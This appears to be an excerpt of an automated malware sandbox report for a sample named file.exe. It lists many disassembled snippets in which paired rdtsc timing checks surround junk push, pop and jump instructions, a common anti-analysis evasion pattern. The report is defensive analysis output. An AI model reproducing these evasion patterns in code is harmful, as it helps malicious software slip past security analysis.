Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE7EC0 second address: CE7ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jne 00007F1690C1AF9Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE7ED8 second address: CE7EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE81B5 second address: CE81BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE81BB second address: CE81CD instructions: 0x00000000 rdtsc 0x00000002 js 00007F1690B6C7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE81CD second address: CE81D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEE81B second address: CEE81F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEE81F second address: CEE825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEE825 second address: CEE844 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1690B6C808h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEE844 second address: CEE84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEE9A6 second address: CEE9BA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1690B6C7FAh 0x00000008 ja 00007F1690B6C7FCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEECE7 second address: CEECF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEECF5 second address: CEECF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEF133 second address: CEF13D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1690C1AF96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEF13D second address: CEF15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1690B6C807h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEF2A8 second address: CEF2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEF2AC second address: CEF2B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEF2B0 second address: CEF2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEF2B9 second address: CEF2E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690B6C800h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c popad 0x0000000d jc 00007F1690B6C814h 0x00000013 push esi 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEF2E1 second address: CEF2E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CEF2E5 second address: CEF2EF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1690B6C7F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF21B3 second address: CF21B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF4F17 second address: CF4F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a ja 00007F1690B6C7F6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007F1690B6C806h 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F1690B6C7FDh 0x0000001e push edi 0x0000001f pop edi 0x00000020 jp 00007F1690B6C7F6h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF5094 second address: CF50A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F1690C1AF9Ah 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF9F86 second address: CF9F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF9F8F second address: CF9F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF9F95 second address: CF9F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF94FF second address: CF9526 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1690C1AF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1690C1AFA5h 0x0000000f jl 00007F1690C1AF9Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF967E second address: CF9686 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CF990A second address: CF990E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D006DA second address: D006E0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D006E0 second address: D006F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1690C1AF9Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D006F3 second address: D006F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFF198 second address: CFF19E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFF19E second address: CFF1A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFF624 second address: CFF62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFF62A second address: CFF634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFF78E second address: CFF7B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007F1690C1AFA9h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFF975 second address: CFF97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFF97B second address: CFF9AD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F1690C1AF9Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F1690C1AFA1h 0x00000010 popad 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 ja 00007F1690C1AF96h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D003D4 second address: D003D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D003D8 second address: D003DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D02D78 second address: D02D80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D02D80 second address: D02D84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0B6BC second address: D0B6C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D09A45 second address: D09A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D09E0F second address: D09E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690B6C7FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D09E1E second address: D09E22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0A0E8 second address: D0A0EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0B40E second address: D0B427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jne 00007F1690C1AF96h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C591BD second address: C591DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F1690B6C7FFh 0x0000000a pop edx 0x0000000b jo 00007F1690B6C800h 0x00000011 push ebx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D12FA2 second address: D12FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D12FA9 second address: D12FD0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1690B6C7F8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F1690B6C7F6h 0x00000012 jmp 00007F1690B6C805h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D13134 second address: D13146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1690C1AF9Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D13146 second address: D13169 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F1690B6C7FFh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D13169 second address: D1316F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1316F second address: D13191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F1690B6C7FEh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jnp 00007F1690B6C7F6h 0x00000013 popad 0x00000014 js 00007F1690B6C817h 0x0000001a push eax 0x0000001b push edx 0x0000001c jns 00007F1690B6C7F6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D132E4 second address: D132F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D13467 second address: D1346C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D135CD second address: D135E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AF9Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d popad 0x0000000e pushad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D135E7 second address: D13611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007F1690B6C7F6h 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F1690B6C803h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D13611 second address: D13615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1BA9D second address: D1BAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1BAA3 second address: D1BAAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1BAAB second address: D1BAB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 popad 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1C8D9 second address: D1C8F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1690C1AFA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1CF4B second address: D1CF4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D22645 second address: D22654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F1690C1AF96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D22654 second address: D22681 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FFh 0x00000007 jmp 00007F1690B6C806h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D22681 second address: D22685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D227DD second address: D227EF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1690B6C7F8h 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F1690B6C7F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D2EE92 second address: D2EE98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D2EE98 second address: D2EE9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D2EE9E second address: D2EEAB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F1690C1AF96h 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D30EB4 second address: D30EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D30EBA second address: D30ECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1690C1AF9Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D30B75 second address: D30BBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C803h 0x00000007 jnp 00007F1690B6C7F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F1690B6C804h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F1690B6C805h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D324E0 second address: D324EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1690C1AF96h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D324EE second address: D324F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D324F4 second address: D3250A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 js 00007F1690C1AFB2h 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F1690C1AF96h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3250A second address: D32518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F1690B6C7FCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3D9AD second address: D3D9DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA2h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1690C1AFA8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3D9DD second address: D3D9E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4485A second address: D44860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D44860 second address: D44882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1690B6C7F6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d jmp 00007F1690B6C805h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D44882 second address: D44888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D44888 second address: D448A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1690B6C802h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4CF88 second address: D4CF8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4F35E second address: D4F372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690B6C800h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4F372 second address: D4F39A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 jl 00007F1690C1AFB6h 0x0000000d jno 00007F1690C1AF9Eh 0x00000013 pushad 0x00000014 ja 00007F1690C1AF96h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D54DCF second address: D54DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D54F4B second address: D54F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D54F51 second address: D54F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D54F55 second address: D54F59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D5A1DF second address: D5A1FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1690B6C806h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D5A1FA second address: D5A211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F1690C1AFC0h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007F1690C1AF96h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D5A211 second address: D5A229 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1690B6C7F6h 0x00000008 jg 00007F1690B6C7F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F1690B6C7F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D5A229 second address: D5A22D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D59DCD second address: D59DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6BECA second address: D6BEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1690C1AFA3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6BEE5 second address: D6BEEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1690B6C7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6BEEF second address: D6BEF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
